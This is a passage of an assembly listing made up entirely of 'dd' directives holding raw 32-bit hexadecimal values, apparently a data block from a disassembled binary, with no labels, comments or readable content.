		dd 6598067Bh, 1600A783h, 2FA6403Eh, 301B50Bh, 508F7A2Dh
		dd 98D9869Bh, 0BBE7F068h, 1E7E1A0Eh, 0B1E44024h, 4BE8FAh
		dd 0E3E03E2h, 0A1C1303Fh, 46940F00h, 0B112BAC5h, 4BA2000Bh
		dd 7BF4C9B9h, 6D00D083h, 0D434984Ch, 10F3A0h, 3F7F8433h
		dd 26BD48BFh, 9622790Eh, 17A9A7A8h, 66913EF0h, 6C253DDBh
		dd 0E182A781h, 0E0756A54h, 0D8381DFCh, 307C807Eh, 6B0164DFh
		dd 0A3AF00A2h, 955C29A4h, 3B3F5B8Eh, 8D11877Ch,	1430ED08h
		dd 21126Fh, 71400D80h, 0FC249DD8h, 38A14A00h, 0B5B9B2C5h
		dd 4DA80031h, 0D5F4997h, 0B4005B1Dh, 1CF39226h,	0E57B9h
		dd 5C55CF8Dh, 7413109Ch, 773A4900h, 9D5ED292h, 7AA003D1h
		dd 68A41EDCh, 8ED305F8h, 70063E00h, 0DD4DDB4Bh,	4EE0004Fh
		dd 8A5584B9h, 90011BA3h
		dd 0D402422Ch, 20F8B7D7h, 0C6080078h, 52EFC582h, 310073E7h
		dd 3551DFBAh, 7745E7Bh,	4B9AEB7Ch, 601D12C4h, 248184E0h
		dd 0AD1A0E00h, 8C78DE4Eh, 398507F4h, 700A680Bh,	3A7D7165h
		dd 366F3400h, 7009E81Fh, 3E5F00DBh, 1374B3EEh, 203C066Eh
		dd 1B9F0355h, 0D0925CD7h, 24A821ACh, 6B4B2h, 2C072A3Eh
		dd 8D71FE8Fh, 11F86800h, 89D222FAh, 0E4BF0093h,	0E3923C6h
		dd 690008EEh, 0B13C561Fh, 9251DAh, 6578CE1Ah, 96A79754h
		dd 2430A50Eh, 9E03C0DBh, 107B814h, 4CC0E170h, 604A16BDh
		dd 26006C10h, 3FD596A6h, 0F64DBh, 0E03AAA98h, 5C41D91Fh
		dd 81682B00h, 73871B06h, 0F270018Eh, 4650F7E5h,	515920FDh
		dd 6724400h, 38051B21h,	0E19E0107h, 412F8456h, 80BDC033h
		dd 0EA824600h, 8B1AAB74h, 1D6BE478h, 80D4AD2Ch,	0DE0B843Eh
		dd 113D753Ch, 7A6F1E53h, 0AFEBC800h, 302B017h, 0E3B58DA4h
		dd 2AA0783Dh, 0BF002B05h, 4406D391h, 0C0CBF2h, 862634F4h
		dd 6993130Ch, 0FBD73200h, 0A9DC7B1Eh, 45A40F3Fh, 25E0DDA3h
		dd 7A33DEBEh, 0ADD68800h, 7EA2B579h, 147938h, 92B2FF46h
		dd 615025EFh, 6E177D00h, 0EB67E91Bh, 75BF00A2h,	0C282451Fh
		dd 88001C65h, 778FBC0Ah, 3A8EA586h, 3500D881h, 0C96CAA55h
		dd 0C6009C2Eh, 65B57147h, 390E7491h, 0A9007D62h, 0A81E15F0h
		dd 88004E35h, 8FC266FCh, 0F84B72h, 812D0DDh, 46EFD6FDh
		dd 62943700h, 0B2D6952h, 0B9B50066h, 38EA297Ch,	23009782h
		dd 69E3B0C8h, 0E0626ADh, 0B1899D68h, 0CD517BA0h, 0FAC07667h
		dd 319EFF2Bh, 5AFD00E9h, 27D0D18Dh, 0C200DD87h,	73DE0CCDh
		dd 6D4EBh, 0C6ECE431h, 6AF2BB2Ah, 15E70107h, 0FD10484Ah
		dd 74E03Ch, 786D7E3Eh, 0E66F045Bh, 2575C8F2h, 0D3DFED00h
		dd 0EF185D4Dh, 9E2600BFh, 915B8351h, 0BE0ECD25h, 60AEAD3Fh
		dd 0C6EB2DE6h, 1897008Ah, 615C5AAh, 74033DC8h, 226FF7A6h
		dd 384D8075h, 85FC4C12h, 0E60E0503h, 6B8013BFh,	0F90FE261h
		dd 0E05119B5h, 79CC3C39h, 62E486h, 0D2A69273h, 75E543E6h
		dd 0FACF5500h, 642C48C5h, 33120E63h, 40A05135h,	5ACBEA81h
		dd 39426800h, 24655BDCh, 0F8719Ch, 14863AB4h, 4E26607Eh
		dd 5A02550Ah, 803CE9DDh, 502757AEh, 779F64Ah, 9F68050Eh
		dd 0B2783093h, 0AC001A14h, 0F27CFB26h, 0A04F03h, 9FB4CDD5h
		dd 7F370CEAh, 1D002272h, 2E9CDA3Dh, 220ADEEh, 0ED6A3682h
		dd 0B740579Bh, 6008C63h, 55434985h, 0E461DD99h,	796F0F07h
		dd 0FA2142D5h, 0F04EAB91h, 0B0017851h, 4A360E1Bh, 31F45FDFh
		dd 0EB1A0074h, 4F9867F6h, 35711F7Eh, 63C26900h,	21109664h
		dd 43DF1D8Ch, 0AA49079Bh, 9C3F902Fh, 2300E689h,	3AF92215h
		dd 0E0760Ch, 36EED1Ah, 0C7A0AC2Ah, 831D123Fh, 0AB9E58C0h
		dd 46C2CFD3h, 2724E047h, 0A57A0090h, 327E8463h,	7100D5DEh
		dd 6D493996h, 85E223h, 5568DA42h, 0C3003C6h, 74D16F00h
		dd 0E92C0AD8h, 0C29F0FF9h, 8980AB2Ah, 0D049C577h, 24106907h
		dd 1B01AB7h, 0F0D5CEh, 4BF73BA9h, 4AD0DB77h, 0C102DE00h
		dd 201B0C9Dh, 0F3840419h, 0AADA76A5h, 0F5754980h, 0C7C21EBFh
		dd 0F0564023h, 69285179h, 95643500h, 0B75B59ABh, 875A013Bh
		dd 0F92B03E1h, 0CBB42076h, 65D95800h, 1BD8A584h, 0DBC32E1Fh
		dd 0D46003Eh, 0DFC08BFFh, 1DF0AF07h, 4FC087A8h,	2F4353h
		dd 35174867h, 1458F9EDh, 806B2D38h, 90C92223h, 0E84C0h
		dd 0B2184956h, 28025BA9h, 89045500h, 43984EBFh,	0FC51E48h
		dd 713E4261h, 11E3F90Dh, 0DA315C98h, 9B113B00h,	0B1C0FB45h
		dd 7784074Eh, 3723D87Ah, 2A4BA05Eh, 827BF926h, 1DBBE200h
		dd 57D3B698h, 0C0CCE32Ch, 0C84800D2h, 9B1CDE14h, 0F67F82E6h
		dd 4F9E7F00h, 0AF97329h, 0F87200D9h, 0BB43C03h,	1200E91Ch
		dd 32CA45C5h, 3F4DE719h, 960064FDh, 7C3D7AF7h, 0FF07DE24h
		dd 0E9695BD8h, 0AFBC4B60h, 2DFCF78Fh, 410304D9h, 80670C49h
		dd 5D1DCBCBh, 0C473C603h, 0A0E2A6DBh, 32A20BEh,	9584E169h
		dd 8DE83A9Fh, 0D03BB339h, 9900FFE6h, 8615B12Ah,	0C6E92Bh
		dd 1951FC81h, 3E0A4B76h, 6178ABEEh, 0DB44C903h,	9875C0BEh
		dd 43480h, 711FB6D8h, 4F760F9Ch, 0E596A400h, 91321A4Ah
		dd 2827DFAh, 4029A97Bh,	5FE0B655h, 0F6E078D8h, 0CE1DE800h
		dd 43C50D11h, 8EB50024h, 2D9D9C91h, 0AB01F94Bh,	0B653D9F8h
		dd 0BEC9B747h, 17E5F4h,	0B34A499Ch, 0F3FC931h, 55981B00h
		dd 0C82018B7h, 73DF0047h, 60686E07h, 801D5325h,	7A80A3E1h
		dd 8FD7A1E8h, 0D50B00EAh, 1F610282h, 7200F6FAh,	0E9CAA5ADh
		dd 343719h, 13DCA9E6h, 966BAD7h, 805F403Ch, 398B2AFCh
		dd 78466Fh, 6ABFD058h, 4D89CFD2h, 0C5A17400h, 0D50C8C6Bh
		dd 487700DCh, 5A2E16F7h, 42006038h, 21653EC2h, 3DB8D2h
		dd 0FF7E91E7h, 7C4B8EF2h, 8D03D007h, 9940EF9Ah,	471322h
		dd 1CC1E7C5h, 8A98DBEDh, 0F652D800h, 763F17C2h,	67BF004Dh
		dd 95E615E3h, 1F009777h, 0F732F4A8h, 0E74B35h, 23DA0BFDh
		dd 91D21E72h, 0A11FFA98h, 8C013A9h, 683F4AE6h, 0A4F600CCh
		dd 19DA05B3h, 0E5001EA1h, 0D1849D33h, 0E98722h,	0B9BA00Fh
		dd 0BF026F8Eh, 3C0E06FEh, 21673A38h, 7927037Ah,	0BBFBE8h
		dd 0ED40EE62h, 0A30FE84Fh, 0E600F573h, 1AC74964h, 48231Bh
		dd 9B514766h, 1671FB5h,	0DC26201h, 0AE8C6581h, 2A2FC8h
		dd 0A7B2EDCBh, 85B637FCh, 0C5512700h, 329316CCh, 975B0E86h
		dd 0D72CEFh, 0BFD89CC0h, 5000FD7Ah, 4ED3B799h, 0FCA276h
		dd 6175B1D1h, 9E1EE552h, 706C5E00h, 74893528h, 0A6DD003Bh
		dd 0E948EBBAh, 2003D8Fh, 0B50FB28Dh, 39494Fh, 21D1E6D7h
		dd 0E1157D6Dh, 4DA0EE0Fh, 0C02F4F13h, 4F58FD0Fh, 506C70BAh
		dd 0EF3E81Fh, 4C4AF8Dh,	0C9469C0h, 7D1C0E19h, 5E965BDDh
		dd 0ECB0E700h, 4AF1Ah, 0A695550Bh, 0B3AA2EC3h, 1D3F4D00h
		dd 0DF3B2B27h, 46F300C8h, 3D096F10h, 0DA00A929h, 307AAF72h
		dd 29E19FFh, 0FA83C7F5h, 0BF61A3DEh, 28E57047h,	5FD4900h
		dd 0A7996CB4h, 197C0016h, 0ECB9A2Eh, 1E241B66h,	300F6456h
		dd 4C44C064h, 2E3AF8Fh,	0B922FB09h, 0BE0A8A9h, 103AB6FAh
		dd 0C364000Bh, 0CB4ECFE2h, 6B961E4Bh, 0F8DA80A6h, 0BC7C5F46h
		dd 0D4860701h, 8C85CCA8h, 81F02ECDh, 0B6EB0EBBh, 0B2E06F5Dh
		dd 0F0642068h, 88533300h, 5B5CDD16h, 0AD110301h, 730C391h
		dd 31A31D88h, 0CE1F1000h, 6B0B32E0h, 0DF7D1881h, 931C1868h
		dd 8AB0E960h, 0E863FAh,	0D0FB0B25h, 99D3C6B4h, 8021543Fh
		dd 0F5913BBFh, 0F10F16h, 42ABB33Dh, 24F2DC20h, 0D8DB1A00h
		dd 0AA392CFFh, 0FB0F3F46h, 98E6210Fh, 0C18C9D40h, 41F69457h
		dd 0A7759E0Fh, 0F48E800Dh, 17B89F3Eh, 3C79B37h,	0B380761h
		dd 0AF0F26A8h, 0F37E0300h, 830CECFAh, 528C032Ah, 0DD9F18C3h
		dd 0F27B81B8h, 0E1213000h, 3ADE6D72h, 56CA0012h, 5BD61324h
		dd 43FD260h, 96B783DDh,	0B8986942h, 872766h, 560AFE32h
		dd 48DEA7FFh, 9D9E7800h, 6FBC3AEAh, 85A3034Eh, 68E81D34h
		dd 0E5E36B0h, 0E492AE00h, 8A67B55Bh, 4FA0Fh, 0AF24838Eh
		dd 6E52035Eh, 0B4A65700h, 3A1EEE16h, 2E6F0113h,	7430F6D5h
		dd 0B6EB3015h, 2392A400h, 774DADFDh, 95726Ah, 0F842FEB5h
		dd 12650CD2h, 0DB13BE01h, 27A55E84h, 361EC70h, 0FDEF4CD0h
		dd 6091E98Eh, 445AF01Bh
		dd 86ED500h, 0B29B8869h, 4F45032Eh, 0B05CEEFAh,	508F6D88h
		dd 0A6D75600h, 8037EC4Dh, 2BC2012Eh, 0CA2382Ch,	590FCC52h
		dd 7C7BBF3Ah, 99568600h, 27CD066Ah, 3CCC03E0h, 0DC59372Ah
		dd 0E8239798h, 0AB195700h, 52023A67h, 33010071h, 0BD09D33Dh
		dd 0BF766ED4h, 0E6E1D907h, 8697B12Dh, 0E0E23B30h, 98E43CF7h
		dd 0A84C8A80h, 29830152h, 424E360Ch, 746FCEDh, 0FF9B80FCh
		dd 0B9BFD12Fh, 0EFB4C8B1h, 0DEA6EE00h, 0F798DF96h, 53D61ED8h
		dd 0FF07C0C8h, 0A366D58h, 2D819C03h, 0C8B55026h, 786E80h
		dd 1DB2C40Dh, 859B13Ah,	556A6600h, 0FD7E5DD3h, 0CEC73B4Ah
		dd 0EF2A8A82h, 0C0DDF535h, 5F563Ah, 0F747D8ABh,	0CE9BE8Dh
		dd 0BD83FC00h, 9620E453h, 8CF60E27h, 0C340198Ah, 750AAD35h
		dd 9A916500h, 0E3BCC9CDh, 0CCA40020h, 0B35E5709h, 5803A65Fh
		dd 0E2A01C83h, 0E3B488DBh, 0B1320018h, 7B7F123h, 5B004D25h
		dd 331AF506h, 3A45C7h, 7AC54424h, 0ACFF2DABh, 201BD403h
		dd 9031BF4Ch, 0F8D578Ch, 92CE71FAh, 0EB8349E0h,	7018F9Fh
		dd 0CF343AF7h, 0D1DC1175h, 6872003Ch, 3C7CB17h,	1D00AFC1h
		dd 8810B10Ah, 1BBDA0h, 0C3CECA67h, 459FAC6h, 0C945BE00h
		dd 93CF4442h, 2B85002Fh, 888E74F3h, 0FA0026F9h,	29F1CD80h
		dd 0EE1F91CFh, 0DADB0056h, 6D5E17FCh, 6E00501Dh, 0D5FFE7F0h
		dd 7A4CA40h, 679BC1F3h,	5C4C0039h, 500059B5h, 2EADC5EBh
		dd 3A961E1Ah, 8138A25Fh, 45F9FE00h, 75324A11h, 27A1F300h
		dd 0FF39B09Ah, 0BAD500C0h, 0F08B9C0Eh, 0CC047B7Fh, 53967091h
		dd 0BEF9DC0h, 0B1430F51h, 54C0EDE4h, 699C334Bh,	0E70002E4h
		dd 107BD175h, 7EC2AB5h,	88C30EAh, 0F077D75Bh, 0C5950E3Eh
		dd 9FB40C01h, 5716A26Ah, 0C346C4h, 4EDCF3F8h, 11A7D9DEh
		dd 9A000479h, 0CCAB7313h, 4FC1A0h, 0CBF76920h, 0D79C987Ah
		dd 0F23E3704h, 0EAE056h, 55B13513h, 8500D41Eh, 82F40DB7h
		dd 344BEB6h, 2D95EFE0h,	4DC09118h, 6901A6C4h, 7FB9D95Ch
		dd 6AC4D317h, 50FE00AFh, 31C83D8Eh, 6003610Eh, 224D24EAh
		dd 3C60FF20h, 701443E1h, 99630368h, 0CB377CB0h,	0E7347698h
		dd 803FAA38h, 39F314Dh,	398B88B6h, 0B2003060h, 89A1D1DCh
		dd 0D600BA18h, 5E9D5524h, 0F99E20h, 4C053860h, 0B1A8B3F4h
		dd 8EC71E00h, 0F6ECA209h, 0E2F0D4h, 0EEB21C40h,	0DAB62006h
		dd 629058h, 0D356414Bh,	0C522A82h, 5EC95F59h, 39008BCCh
		dd 4D04F175h, 0F7D2EC0h, 2ACF076Bh, 5DDCEF20h, 80009B3Ah
		dd 14DE5930h, 0E82953A7h, 0EEB10052h, 9AA49D1Fh, 0F81D61CFh
		dd 0C980F031h, 7A606B6Ah, 7BA50356h, 178E9F19h,	692D23AFh
		dd 123DA2E8h, 0F7DA2507h, 33B075FCh, 1CD6B56Eh,	0BE2B7298h
		dd 5EF4F280h, 7D856406h, 80BA913Bh, 23DC98C0h, 450AB2h
		dd 7B34CB1Fh, 476BFBF1h, 99A34A00h, 7610CDF2h, 395800AFh
		dd 1161CAB7h, 0E1007EDBh, 5BCE6C0Fh, 588477AAh,	6300C87Bh
		dd 0D15AAC0Ah, 3500BB8Bh, 0EA5E309Bh, 3DB8CABEh, 9F1F92EBh
		dd 0CFC1006Eh, 9134D040h, 0E4897A00h, 0C453B3F6h, 0C65E00A7h
		dd 0FFCD85BBh, 0FD0FBDA1h, 0E32ACC1Dh, 0D0CE2149h, 0D6CAEEh
		dd 5D8A2DF3h, 4EBCD295h, 0EB44B700h, 0B59B2C3Bh, 0AD5006Fh
		dd 2CA50F2h, 0F80EF3A5h, 0E05C1B73h, 36EB153Fh,	0E09B0089h
		dd 12A37DEEh, 1F383C91h, 85069F7Ch, 77A74B07h, 0E1E8F2E0h
		dd 6C890061h, 45C0BA6Bh, 0F0002318h, 10CCD65Bh,	0F265C258h
		dd 11800009h, 787E4316h, 9700A321h, 0F14189A8h,	0B89A76E4h
		dd 99661C8Bh, 0F9EF4794h, 7714904Eh, 620034A6h,	2BA0586Dh
		dd 36EF74Fh, 0BE750F0Ah, 3EE34D72h, 0E945EE80h,	1CBB4103h
		dd 0E848DC03h, 6FA49Fh,	7D176D6h, 0BF44AA91h, 3AAE2407h
		dd 82A0C07Bh, 0D9CDC4h,	0CAF6B806h, 40C8FB58h, 843C9B00h
		dd 0E129789Fh, 514900DFh, 3DE6D1D5h, 31074B7Ah,	0CF420534h
		dd 381F9C00h, 109089h, 2A1E8A2Ch, 7905F8F2h, 1FD44Ch, 4E5BA1C1h
		dd 677501h, 2CAA0C85h, 0B6C363F8h, 84A75F00h, 13A2DF8Bh
		dd 1223034Ch, 9221C7DBh, 0EF0738F0h, 0B39F0600h, 0CC67E19Eh
		dd 739B0093h, 1B8D8FBFh, 0B47E35C5h, 25D9A00h, 47ADD13Eh
		dd 1CF30416h, 0AB14ACD5h, 56A57000h, 7709F8h, 9D64E1C9h
		dd 0DE4F4CEh, 0EDB9D4F1h, 9474C71Dh, 21A8B207h,	0EF59F820h
		dd 0E14400D0h, 6156340Bh, 78B06962h, 7500CB7Dh,	0E25D70B4h
		dd 1DE21A2h, 0F0FD02FFh, 0F0C4D38Ch, 0B000EF1Ah, 7F835E07h
		dd 78B40521h, 508B0091h, 4C48FAA4h, 0B80064CDh,	80B35F38h
		dd 0F36C3D5h, 0E362179Dh, 0B4C5F6E0h, 39002B0Ah, 34F8D192h
		dd 0D60359h, 541DBBA3h,	0A440D386h, 0EF763600h,	197F1013h
		dd 0D7280046h, 8FEB7198h, 600BA97h, 5B2FDFF4h, 347A8DDh
		dd 0C3D2B04Eh, 94E02C46h, 0C500866Dh, 0E1628E33h, 65A1D7h
		dd 8D21E6CCh, 928411F4h, 37CD2900h, 0BFD27C1Eh,	787D00B8h
		dd 9046FDDh, 34005648h,	0CB2CC1ADh, 1350283h, 28B1DBEFh
		dd 0FC2776CDh, 0F01F89Ah, 0C9C60A68h, 0CEC0E0FAh, 4D1B006Ah
		dd 43F7712Dh, 38C0B686h, 0BC0B9879h, 8E6B0E9Ah,	0AAE385Dh
		dd 0A475C100h, 813F0E5Ah, 5E69031Eh, 0A8E32374h, 27A0290h
		dd 0E8F71B1Dh, 0D15413EDh, 84DE3200h, 59AE34h, 0FC3AA22Ah
		dd 0D83FB254h, 6F6A371Eh, 0BC981301h, 92CC74FBh, 0F60E0FF5h
		dd 0F0023BDh, 4753A815h, 0B93D0D00h, 0C1826324h, 0CE7183h
		dd 0C8847D9Fh, 1CCB967Ah, 6B02D00h, 9523F0EEh, 86A601BBh
		dd 672CD0DFh, 80B1EDC1h, 8B02FC4Ah, 31FB0E6h, 7ECE436Bh
		dd 9A9F8FBh, 0D496C467h, 8F04209h, 3DABF674h, 94ED8785h
		dd 0D8B005Bh, 0C3E649CCh, 0B1764E00h, 0CA0C8C75h, 766FE67Eh
		dd 0CF890018h, 179072C8h, 117B1E6h, 5900DB70h, 0F2B83594h
		dd 0EA5E98C6h, 67461EC0h, 0A64C006Bh, 8764E7C3h, 0AEBC5400h
		dd 57FDE33Ch, 4F2F001Fh, 27A7F5BEh, 6B00FFFAh, 46AB4B80h
		dd 59BF91h, 82DDC5F3h, 7C03126Dh, 0EBEE6E17h, 0E3372200h
		dd 74547FAh, 0F78D6F92h, 6476208Ah, 0F800D63Bh,	0A7A586DCh
		dd 1DB9F4h, 0BA63FEA6h,	0E07E6F49h, 752AC900h, 44077468h
		dd 76D20E8Ah, 47001885h, 0D67F43BCh, 29008F72h,	4DC8F7DCh
		dd 7906BB3h, 70E9D332h,	23A9F0A5h, 81010AB0h, 1F9E856Ch
		dd 4C701758h, 42A100B2h, 0E23F91BAh, 0C0E9F2FFh, 0A0044653h
		dd 92DCC9B3h, 45573C80h, 0BF011D40h, 759F09B6h,	586008Fh
		dd 2700D894h, 0AECE7632h, 792D46h, 0DE98CF81h, 8D9F8B54h
		dd 0ED50E703h, 0CFCE1DAFh, 0D6D06FB7h, 700C08h,	0CC572DCFh
		dd 12E5ADBCh, 9E755000h, 0F48CE8CDh, 0C4A4007Fh, 0DD2924F1h
		dd 9C00FF5Fh, 0B3FD27C1h, 0E857DC6h, 579E9395h,	630CA383h
		dd 99A624C8h, 2BC31C26h, 19448100h, 0E4025662h,	34660071h
		dd 0E2059717h, 89732A88h, 54599800h, 0A561F9B1h, 816001Dh
		dd 1202801Eh, 6F3FB8E0h, 0D078097h, 57DF2538h, 22E200D4h
		dd 3F515413h, 1700AAC9h, 0AFD8EE01h, 0D5CD26h, 0DF479ECCh
		dd 2B663E9Ch, 808E1E38h, 2381141Ch, 0EA54B5h, 218670D4h
		dd 0C37CC9C1h, 0D746000h, 0A2958ED0h, 4E1600F5h, 5D271215h
		dd 0A4008F6Eh, 21E2A1D5h, 24843B59h, 3150A87h, 676EF593h
		dd 8ABB4C90h, 0A4134400h, 0B36D293Eh, 6B72004Dh, 8345B712h
		dd 1A1386FEh, 0DF05B15Ch, 62809504h, 3E55F67h, 312FED02h
		dd 0A2284FC9h
		dd 7C7EF736h, 0C7002F98h, 0F5D45543h, 3A0F82h, 0C4BD7853h
		dd 39DF0622h, 0BFC2A900h, 0E2B58BB0h, 0A149019Ah, 0E783435Fh
		dd 22C3C606h, 0B3EFAEA8h, 8007BF3Dh, 0B612BE7Dh, 89C508h
		dd 0D50D8B49h, 8170214Fh, 79E64600h, 0E8B43064h, 7C7EC4h
		dd 0CAF5509Fh, 0F2527EE1h, 8177EC3Ah, 51D86C47h, 84EBF779h
		dd 0AF9D80EAh, 600C12Ch, 42115EE2h, 7A8C0233h, 0B89E0049h
		dd 6E4F5D09h, 0D10051BDh, 0FAC373ECh, 3A38C68h,	57C081F4h
		dd 0D8E82AEAh, 1E00609Dh, 2FBE4270h, 0E3384BCh,	0A3485BB1h
		dd 0A0E27567h, 0DCFFC54Fh, 6F41ED00h, 1F649520h, 10E0004Ch
		dd 5DC78249h, 92005322h, 1DE6B952h, 0A2A39Eh, 78910266h
		dd 0D3A63438h, 951FD501h, 1DC27EDEh, 0F2449B30h, 0D49D02F1h
		dd 0C014DC66h, 5491F840h, 0C34CA100h, 0E105D0F6h, 0FC0900D8h
		dd 0EC53D1C9h, 2E01EF0Bh, 31C64B1Fh, 87E8A569h,	43670062h
		dd 75A63B1Dh, 22E80E38h, 1100A1E6h, 39F35852h, 4E3530h
		dd 447D68ABh, 0DF70D99Ch, 77E20300h, 5C511581h,	0E0E9003Eh
		dd 0CCBFBB0Eh, 4007A9Bh, 0F6AE8B11h, 0EBD709h, 0B8210716h
		dd 1EA9CF10h, 2894460Eh, 0B47B4274h, 132F4B2h, 0C6EDC01Ch
		dd 0A4F3C8DDh, 9307D400h, 0FD97E456h, 0A81A1D13h, 7F9A406Eh
		dd 0EE74832h, 9885EA00h, 7D3ADDD9h, 30D00065h, 0ACD1BAD2h
		dd 0A53C792Ch, 0CAA3000Bh, 1FAA5518h, 198DDh, 1EF9D696h
		dd 0A116796Fh, 7DC24304h, 5DC0882Eh, 5B4E1Ah, 56B8FBF8h
		dd 623C85ADh, 0F6EEC100h, 99C69889h, 16FE7AEBh,	167D737h
		dd 85C0E2E5h, 651D015h,	5082E513h, 6CA97340h, 3FF59039h
		dd 1EF7BA41h, 803317A2h, 0C61C9EA4h, 0D80099A1h, 0AE819877h
		dd 714B6BEBh, 0DA1D00ACh, 6ABCBE97h, 8E74E178h,	0A0E21600h
		dd 0C4409818h, 0BD7000DBh, 8D7AE565h, 0C50090A4h, 7DACFE76h
		dd 7E27F6Ch, 0B13EDA94h, 0A81F60E5h, 0AF052373h, 0D84BA980h
		dd 4C33F480h, 144E001Eh, 77B7FA88h, 8A0096ADh, 0EA3A2348h
		dd 0A53682h, 19BBDDF1h,	0F5C550C6h, 83DFBE0Ah, 0A009190h
		dd 3E2B3452h, 809107C2h, 0F0BB257Ah, 2C5FACC5h,	56D6B903h
		dd 0B0A4B33Fh, 0B7EB6Ch, 0F805C9D8h, 5750CDE7h,	7F2B0B09h
		dd 85808063h, 80FE66h, 17879D5Bh, 0FAF3B6A4h, 0B32FB00h
		dd 1FC9955Dh, 0AFF7039Bh, 16E5FC77h, 0E1D59E88h, 0A1A40C00h
		dd 3099BC22h, 0CDDE0080h, 6AE3E554h, 820120DFh,	0E68D23C0h
		dd 0DDDC5C2Dh, 767F2Bh,	29808C85h, 43AF7E93h, 0B49E9900h
		dd 0F69D3ECh, 67653DC8h, 1B03B93Ah, 561F5C9Ch, 791E998h
		dd 471FD971h, 8C52956Ah, 1D631800h, 0FDC04Ah, 0D44C0432h
		dd 0D7026ED0h, 0A1D6E4FDh, 0A9A24502h, 0C0D315EFh, 4409FFAh
		dd 0B66B6AABh, 0BD77C04Fh, 0B2005E7Dh, 4799158Ah, 98E46Fh
		dd 362F4C41h, 794D39CDh, 62B37700h, 55E22661h, 97E600F2h
		dd 0D7C80D8Ah, 0B1037170h, 8342A866h, 0F64AB858h, 5CA20376h
		dd 0D3FAF98Eh, 312881C0h, 0D706E100h, 5F64AC51h, 37F200A3h
		dd 335D950h, 0AE1E8ADFh, 1766E8C0h, 9D60D800h, 8CC16Dh
		dd 0E5522305h, 0E8AA0C7h, 18241000h, 2BF13851h,	0FEB80003h
		dd 0DAF2DB36h, 9A0050F5h, 7B71799Fh, 0A0477F37h, 0FD682FF1h
		dd 7526C8h, 9E1A9221h, 4C249366h, 85DA700h, 56FA2A0Eh
		dd 5F6D00D5h, 0AA927A46h, 71EACB6h, 258AB1D3h, 0EA00D9E7h
		dd 5DE719Dh, 98CC007Ah,	1830D86Fh, 0D37A66CDh, 7CA2FF00h
		dd 0E82EF4E3h, 964D00C1h, 0A8D8B0AEh, 0F20EEF15h, 60351071h
		dd 114C9119h, 5288006Ch, 15DFFAC6h, 0E80079ABh,	0A81DC13Bh
		dd 0F2C06A0Fh, 7ED600BFh, 5A60EC3Ch, 0E8EEEF21h, 0F000A3E8h
		dd 0F9883822h, 3EBEA032h, 0E4859719h, 9275291h,	1E8034FFh
		dd 56F7996Fh, 0C992B00Fh, 9F80FE2Eh, 5E451311h,	531907ACh
		dd 0D07CA490h, 5A5D542Fh, 411B2D00h, 69E9819Dh,	16FEF4h
		dd 85CFE367h, 56D3BC53h, 0AFFD230Fh, 845A6007h,	9ADD73h
		dd 71530E41h, 9075856Eh, 6300AC77h, 0D26CF433h,	2BD34Ah
		dd 0DCE4FBBEh, 9B03486Eh, 21A86002h, 0E0CB1C66h, 709D7Bh
		dd 0F6FB162Bh, 0F0B105C7h, 80B2393Ch, 97991946h, 24AFA50Eh
		dd 1F4DA772h, 6D3103F3h, 0FC92B38h, 6727F047h, 72026103h
		dd 0F8AAE9A6h, 1AD37h, 8B4B312h, 91094380h, 49000790h
		dd 7B11EF4Fh, 16AD72Dh,	25F0FEB1h, 0FCF98D0Eh, 770B3DB2h
		dd 4E2142h, 0C991D03Dh,	4B5E0F2Ah, 5D20957Bh, 0BF01C10Ch
		dd 0C4D570F3h, 0AEE2AF00h, 0EF1E5B0Bh, 591116B5h, 29F100EEh
		dd 0FFD8E837h, 0E9FB9B00h, 8320AFA8h, 0E6B009Ch, 0D5E3EC6Ch
		dd 4C02DFBAh, 4E8BCCB2h, 8E0AC012h, 10552ECEh, 94D100ACh
		dd 0A79FB365h, 16F4DA00h, 3F6C5BF3h, 56FE78h, 91B2FE2Fh
		dd 65707924h, 0FF17510Eh, 4A805DE4h, 7885DF72h,	58380040h
		dd 13B37B99h, 1000FCF8h, 0ADC74AE8h, 38DE6DC0h,	9A1E3D41h
		dd 4A60A5C2h, 99008654h, 0E0C9A3B5h, 814396h, 781A2C9Ch
		dd 0F4749FEAh, 6F4FB000h, 26880FC4h, 60280005h,	518E1CA0h
		dd 0E5079CBAh, 383DB6CBh, 5F801EE0h, 0F66D00B9h, 0DED386FDh
		dd 60790FC8h, 0EC599E00h, 5FE17F22h, 0F668009Bh, 1509374h
		dd 831F797Ch, 1C80A6E6h, 0C40DE61h, 14820033h, 0D5AC25A8h
		dd 0B509BFDDh, 80C984D0h, 5C6C7F2Dh, 0DE8D009Ah, 0E0039C13h
		dd 5D1FC65Fh, 71030CABh, 0D0AE98A5h, 7F66FFBFh,	4CF300B8h
		dd 0CCC76BF8h, 0CD077114h, 15C66A43h, 6E4039A0h, 473B097Fh
		dd 0BA802654h, 4A74494Ch, 0C982550Eh, 0BCA22098h, 321CEBh
		dd 0DCFD3C6Fh, 5E8DA9E2h, 8121F0Fh, 31A1A019h, 3AAF76E8h
		dd 54002C55h, 136783D0h, 15038658h, 3DD9EA9Eh, 0BE18B0B3h
		dd 8BD8077Ch, 5067B69Ah, 0CFE90DC2h, 0F8C67D0Fh, 7339A08Fh
		dd 5FE8D3h, 29DA9AE3h, 9C3A7A1Ah, 247EAD17h, 3440611Eh
		dd 0FF949B20h, 736802FDh, 862EE062h, 0F54E6840h, 8D0079E8h
		dd 614BC0E3h, 1F0D65E4h, 0FAE9CF97h, 38F54580h,	0EE8CA7CDh
		dd 8D135B03h, 0D05E0531h, 2402F9D7h, 0FC340Dh, 0BB403FA8h
		dd 5A00F61Bh, 2A7644C4h, 0DBC67Bh, 36DD0AD6h, 0C0AB095Bh
		dd 639ADA00h, 0CAC4DD7h, 0ADC10028h, 0C64FA34Bh, 79007574h
		dd 0A54CAE6Fh, 0E60BB3h, 0B5260471h, 0F6645C4Ah, 7981D38h
		dd 4D6CDC6Ah, 0D5B30CD1h, 39F5720h, 9468D80Fh, 39D3097Dh
		dd 0B7154288h, 4326B600h, 633BEF77h, 0BC7D00F4h, 88092512h
		dd 4C008ACBh, 0D18B1ADAh, 719CE6h, 0BC46B881h, 3F8951E7h
		dd 0DD450400h, 1F353465h, 5A27E6DEh, 8DF280D4h,	2E00F507h
		dd 0C8EB3BC9h, 3B95A01h, 8BF8D24Ah, 6490F1B7h, 157198D8h
		dd 0A24D8900h, 96C26F87h, 0E26701D1h, 57CE3AB7h, 30302084h
		dd 626BD800h, 98E2F48h,	5D061D2Ch, 8D9740C1h, 9CEF6A76h
		dd 801E676h, 3994503Ah,	0C1F01686h, 4D850399h, 0D74C7913h
		dd 0C5D320A0h, 0D42DD600h, 5BBD1221h, 844400F5h, 145070F8h
